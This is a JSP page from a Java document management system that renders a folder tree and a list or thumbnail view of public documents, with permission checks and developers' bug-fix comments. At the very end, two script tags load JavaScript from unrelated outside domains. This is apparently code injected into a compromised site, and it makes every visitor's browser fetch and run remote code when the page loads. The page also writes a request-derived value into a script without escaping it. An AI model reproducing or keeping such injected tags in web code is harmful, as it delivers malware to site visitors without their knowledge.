  <!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "ListDmsPublicDocument";
  String pageViewOption = listDmsPublicDocumentForm.getPageViewOption();
  if(Utility.isEmpty(pageViewOption) || "null".equals(pageViewOption)){
    pageViewOption="";
  }
%>
<script language="JavaScript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  document.listDmsPublicDocumentForm.parentID.value=docID;
  document.listDmsPublicDocumentForm.rootID.value=rootID;
  document.listDmsPublicDocumentForm.pageViewOption.value="<%=pageViewOption%>";

  document.listDmsPublicDocumentForm.opMode.value = NAV_MODE_LIST;
  document.listDmsPublicDocumentForm.navMode.value = NAV_MODE_LIST;

  // use ajaxAnywhere get document list
  //ajaxAnywhere.submitAJAX();
  document.listDmsPublicDocumentForm.submit();
}

function handleTreeNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function setHiddenValue(parentID, rootID,documentType) {

  var targetLoc = tree.getFullPathString();

  //document.listDmsPublicDocumentForm.destinationPath.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
  document.listDmsPublicDocumentForm.parentID.value=parentID;
  document.listDmsPublicDocumentForm.rootID.value=rootID;
  document.listDmsPublicDocumentForm.submit();
}

function clickNodeAction(tree, node) {
  handleTreeNodeGeneralDoc(node.id, tree.rootId);
}

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
//  handleTreeNodeGeneralDoc(val[0], val[1]);
  var docID = val[0];
  var rootID = val[1];
  document.listDmsPublicDocumentForm.parentID.value=docID;
  document.listDmsPublicDocumentForm.rootID.value=rootID;
  document.listDmsPublicDocumentForm.pageViewOption.value="<%=pageViewOption%>";

  document.listDmsPublicDocumentForm.opMode.value = NAV_MODE_LIST;
  document.listDmsPublicDocumentForm.navMode.value = NAV_MODE_LIST;

  document.listDmsPublicDocumentForm.submit();


}
//-->
</script>
<div id="treeFrameSelection">
<select name="publicRootList" class="form-dmstree-pulldown" style="height:20px"  onchange="javascript:changeRoot(this.value);">
<%
  List publicRootList = (List)request.getAttribute("publicRootList");
  if (!Utility.isEmpty(publicRootList)) {
    for (int i = 0; i < publicRootList.size(); i++) {
      DmsRoot dmsRoot = (DmsRoot)publicRootList.get(i);
      if (rootID.equals(dmsRoot.getID().toString())) {
        out.println("<option value=\""+dmsRoot.getRootFolderID() + ";" + dmsRoot.getID()+ "\" selected>" + TextUtility.escapeJSString(dmsRoot.getRootName()) + "</option>");
      } else {
        out.println("<option value=\""+dmsRoot.getRootFolderID() + ";" + dmsRoot.getID()+ "\">" +TextUtility.escapeJSString(dmsRoot.getRootName()) + "</option>");
      }
    }
  }
%>
</select>
</div>
<div id="treeFrame" class="dtreeContainer">
<dms:tree name='<%="pudoc"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>"></dms:tree>
</div>
<script language="javascript">
<!--
  var divHeight = (<%=listDmsPublicDocumentForm.getPageOffset()%>)*(21)+23;
  FindObj("treeFrame").style.height = divHeight+"px";
-->
</script>
<!-- Hierarchy Tree End -->
</div>
</td>
<%}%>
<td valign="top">
<div id="listContainer">
<%if (Utility.isEmpty(listDmsPublicDocumentForm.getPageViewOption())) {%>
<!--aa:zone name="dmsList"-->
<%try{%>
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsPublicDocumentForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPublicDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsPublicDocumentForm.getSortOrder()%>" copyColumn="false" showValue="<%=showDefaultProfile%>" displayObjListName="DMS_DEF_PROFILE" showAfter="5"/>
  </tr>
  <!-- Table Column Header End -->

  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, '<%if(!DmsVersion.ARCHIVED_STATUS.equals(((DmsDocument)dmsDocument).getItemStatus()) && (!docValidateManager.checkExpireDocumentOwnerStatus(((DmsDocument)dmsDocument)))){%>click<%}%>', <%=((AbstractBaseObject)dmsDocument).getID()%>);"><!-- joan.xiong update code for bug EIP-1274 by 2006/12/25  when doc is archived or expired limit the click action.-->
    <%
    //Bill add for EIP-2028 start
    boolean isProgressComplete=docValidateManager.isDmsProgressCompletedByDocument((DmsDocument) dmsDocument);
    //Bill add for EIP-2028 end

    //Details for Menu items
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    Integer checkoutPersonID = new Integer("0");
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();


    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
       checkoutPersonID = checkoutHistory.getCheckoutPersonID();
    }

    //Permission string
    //Bill add for EIP-2028
    permission = (String)permissionManager.filterDocumentPermissionByWorkflow(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((AbstractBaseObject)dmsDocument).getID());
    if ((permission != null && permission.indexOf("D") < 0) || DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus) || DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) {
      %>
      <script language="JavaScript">
      <!--
      notAllowDeleteIDAry[notAllowDeleteIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
      //-->
      </script>
      <%
    }else {
      // all permission related by shortcut itself except read right.
      // hide code below at 06/12/22 EIP-1196
      /*
        //shortcut can't be delete if it's target document has not permission to delete
      if(DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())) {
        DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)dmsDocument).getID(),DmsDocument.DOCUMENT_LINK);
        if (newDocument!=null) {
          if(!newDocument.getRootID().equals(docRetrievalManager.getRootID())) {
            String tmpPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, newDocument.getID());
            if (tmpPermission != null && tmpPermission.indexOf("D") < 0) {
      %..>
      <script language="JavaScript">
      <!--
      notAllowDeleteIDAry[notAllowDeleteIDAry.length] = <"%=((AbstractBaseObject)dmsDocument).getID()%">;
      //-->
      </script>
      <..%
            }
          }
        }
      }
      */
    }
    %>
    <td align="center">
      <%
      if (DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())){
        DmsDocument targetDoc =docRetrievalManager.getRelationshipTargetDocument(((DmsDocument)dmsDocument).getID(),((DmsDocument)dmsDocument).getDocumentType());
        if(targetDoc!=null){
          tmpDocument = targetDoc;
        }else{
          tmpDocument =(DmsDocument) dmsDocument;
        }
      }else{
        tmpDocument =(DmsDocument) dmsDocument;
      }%>
       <% if ((!docValidateManager.checkExpireDocumentOwnerStatus(tmpDocument))) { %>
          <%if(!isLightVersion){%>
             <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);" title="<%=isProgressComplete%>" alt="<%=DmsVersion.ARCHIVED_STATUS.equals(((DmsDocument)dmsDocument).getItemStatus())%>">
          <%}else{%>
             <logic:permission right='D' objectType='D' objectID='<%=curDocID%>'>
               <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);" title="<%=isProgressComplete%>" alt="<%=DmsVersion.ARCHIVED_STATUS.equals(((DmsDocument)dmsDocument).getItemStatus())%>">
               <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
             </logic:permission>
          <%}%>
        <%}%>

   </td>
<%
//check if the version of files is arrived the max version.added by holmes
Integer currentDocumentID = ((AbstractBaseObject)dmsDocument).getID();
boolean isMaxVersion = false;
int Max_Version_NUMBER = 2;
try {
   DmsVersionDAObject dao = new DmsVersionDAObject(sessionContainer,conn);
   List l = dao.getVersionsListByDocumentID(currentDocumentID,"desc");
   isMaxVersion = (l.size()==Max_Version_NUMBER)?true:false;
 } catch(Exception ex) {

 }
%>
   <td align="center"><dms:contextMenu/></td>
    <td align="center"><%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>' /><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>' /><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>' /><%
      }
    %>
    </td>
    <td nowrap>

      <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' pageFlag='<%=pageFlag%>'/></nobr>
    </td>
    <td align="center" width="100" nowrap>
    <input type="hidden" name='itemStatus_<bean:write name='dmsDocument' property='ID'/>' value='<%=docItemStatus%>' />
    <dms:documentStatus/>
    <input type="hidden" name="hasRelationship" value="<bean:write name='dmsDocument' property='hasRelationship'/>">
    </td>
    <td align="center" nowrap>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) ||
            DmsDocument.COMPOUND_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) || DmsDocument.EMAIL_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        } else {%>
          <%=GlobalConstant.EMPTY_FIELD%>
        <%}%>
    </td>
    <dms:commonIndex id="setting" includeSystemProfile="true" enableDisplayFilter="true" documentBean="dmsDocument">
    <td><dms:commonIndexValue/></td>
    </dms:commonIndex>
    <td nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td><bean:write name='dmsDocument' property='updaterName'/></td>
    
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
      </table>
</div>
<!-- Table Showing Record List End -->

<%}catch(Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
<!-- Table Showing Record List End -->
<!--/aa:zone-->
<%} else if ("T".equals(listDmsPublicDocumentForm.getPageViewOption())) {%>
<%
int thumbDim = 110;
int numOfImg = 5;
%>
<!-- Thumbnail Showing Record List Begin -->
<div id="dataGrid" class="thumbnailList">
<table cellpadding="0" cellspacing="0" border="0">
<logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
<%
  //Bill add for EIP-2028 start
  boolean isProgressComplete=docValidateManager.isDmsProgressCompletedByDocument((DmsDocument) dmsDocument);
  //Bill add for EIP-2028 end

  //Permission string
  permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((AbstractBaseObject)dmsDocument).getID());
  String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
%>
<%if (((Integer)listLoopCnt).intValue()%numOfImg==0) {%>
  <tr>
<%}%>
<%if (permission != null && permission.indexOf("D") < 0) {%>
  <script language="JavaScript">
  <!--
   notAllowDeleteIDAry[notAllowDeleteIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
  -->
  </script>
<%}%>
<%if (DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())){
      DmsDocument targetDoc =docRetrievalManager.getRelationshipTargetDocument(((DmsDocument)dmsDocument).getID(),((DmsDocument)dmsDocument).getDocumentType());
      if(targetDoc!=null){
        tmpDocument = targetDoc;
      }else{
        tmpDocument =(DmsDocument) dmsDocument;
      }
    }else{
      tmpDocument =(DmsDocument) dmsDocument;
}%>
    <td align="center" valign="top">
    	<table width="100%" cellpadding="0" cellspacing="0" border="0">
    		<tr>
    			<td align="center">
    			<table cellpadding="0" cellspacing="0" border="0" class="iconWrapper"><tr><td>
            <%DmsDocument tmpDoc = (DmsDocument)dmsDocument;%>
            <%if (DmsDocument.FOLDER_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())) {%>
            <html:img src='IconDMSFolder.gif'  width='48' height='48'/>
            <%} else if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())) {%>
              <%if (com.dcivision.framework.image.ThumbnailGenerator.isSupport(TextUtility.getExtension(((DmsDocument)dmsDocument).getDocumentName()))) {%>
              <img src="<%=request.getContextPath()%>/jsp/dms/Thumbnail.jsp?thumDim=<%=thumbDim%>&ID=<%=((DmsDocument)dmsDocument).getID()%>&version=<%=DmsOperationConstant.DMS_TOP_VERSION%>" border="0">
              <%} else {%>
              <dms:extImg fileName='<%=tmpDoc.getDocumentName()%>' docType='<%=tmpDoc.getDocumentType()%>' width='48' height='48'/>
              <%}%>
            <%} else {%>
              <dms:extImg fileName='<%=tmpDoc.getDocumentName()%>' docType='<%=tmpDoc.getDocumentType()%>' width='48' height='48' tarDocType='<%=tmpDocument.getDocumentType()%>'/>
            <%}%>
            	</td></tr></table>
    			</td>
    		</tr>
    		<tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="ToggleDefaultCheckbox(<%=((AbstractBaseObject)dmsDocument).getID()%>);">
    			<td align="center">
             <% if ((!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) && (!docValidateManager.checkExpireDocumentOwnerStatus((DmsDocument) dmsDocument))) { %>
                  <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);" title="<%=isProgressComplete%>">
              <% } else { %>
                  <html:img src='IconCheckboxDisable.gif' common='true' align='absmiddle' styleClass='disabledCheckbox'/>
              <% } %>
            <dms:contextMenu/>
            <%if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {%>
            <html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/>
            <%} else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {%>
            <html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/>
            <%} else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {%>
            <html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/>
  <% } %>
    			</td>
    		</tr>
    		<tr>
    			<td align="center">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' pageFlag='<%=pageFlag%>'/>
<input type="hidden" name='itemStatus_<bean:write name='dmsDocument' property='ID'/>' value='<%=docItemStatus%>' />
<input type="hidden" name="hasRelationship" value="<bean:write name='dmsDocument' property='hasRelationship'/>">
    			</td>
    		</tr>
    		<tr>
    			<td align="center">
    				<dms:documentStatus/>
    			</td>
    		</tr>
    	</table>
    </td>
<%if (((Integer)listLoopCnt).intValue()%numOfImg==numOfImg-1 || ((Integer)listLoopCnt).intValue()==((List)request.getAttribute(LIST_NAME)).size()-1) {%>
  </tr>
<tr><td colspan="<%=numOfImg%>"><html:img src='LayoutSpacer.gif'  height='30'/></td></tr>
<%}%>
</logic:iterate>
<!-- Record Looping End -->
      </table>
</div>
<!-- Thumbnail Showing Record List End -->
<%}%>
<!-- Pager Information Begin -->
<div class="listStatusBar" style="position:absolute;bottom:-1px;z-index:10;">
<layout:pager form="listDmsPublicDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
</layout:pager>
</div>
<!-- Pager Information End -->
</div>
</td></tr>
</table>
</div>
<br>
<script>addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer')});</script>
<jsp:include page="AlertLegend.jsp"/>

<%//Add By Jim Zhou  2006/10/11     EIP-338
  } else {}
%>

</html:form>
<!-- Form Section End -->
<%/*} catch(Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { docRetrievalManager.release(); } catch (Exception ignore) {} finally { docRetrievalManager = null; }
    try { verControlManager.release(); } catch (Exception ignore) {} finally { verControlManager = null; }
    try { forumManager.release(); } catch (Exception ignore) {} finally { forumManager = null; }
    try { docValidateManager.release(); } catch (Exception ignore) {} finally { docValidateManager = null; }
  }*/
%>

<script language='javascript'>
<!--
  function clipbordInvite(docID){
  try{
    var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
    var ni = document.createElement("iFrame");
    ni.setAttribute("src",url);
    ni.setAttribute("scrolling","yes");
    ni.setAttribute("frameborder","no");
    ni.setAttribute("width","100%");
    ni.setAttribute("height","100%");
    ni.setAttribute("id","ifram1");
    document.getElementById("NewDocumentInvitation").appendChild(ni);
    document.getElementById("NewDocumentInvitation").style["display"]="";

    var loadFrame = document.getElementById("NewDocumentInvitation");

    loadFrame.style.width="780";
    loadFrame.style.height = "600";
    loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
    loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
    DimBackgroud(null,false);
  }catch(e){}

  }

//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>